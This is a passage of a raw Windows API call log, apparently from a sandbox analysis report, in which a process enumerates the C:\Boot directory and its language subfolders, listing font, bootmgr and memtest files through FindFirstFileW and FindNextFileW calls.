dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0242.690] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0242.690] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0242.691] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0242.691] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0242.691] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0242.691] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0242.691] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0242.691] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0242.692] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.692] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0242.692] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec4f0 [0242.693] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.693] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.693] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0242.693] FindClose (in: hFindFile=0x6ec4f0 | out: hFindFile=0x6ec4f0) returned 1 [0242.694] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.694] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0242.694] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec0b0 [0242.694] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.694] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.694] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.694] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.694] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0242.695] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.695] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0242.695] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec0b0 [0242.695] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.696] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.696] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0242.696] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0242.696] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.696] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0242.696] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebef0 [0242.696] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.696] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.697] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.697] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.697] FindClose (in: hFindFile=0x6ebef0 | out: hFindFile=0x6ebef0) returned 1 [0242.697] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.697] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0242.697] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebfb0 [0242.698] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.698] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.698] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.698] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.698] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0242.698] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.698] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0242.699] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebfb0 [0242.961] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.961] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.961] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.961] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0242.962] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.962] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0242.962] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.962] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0242.963] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.963] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 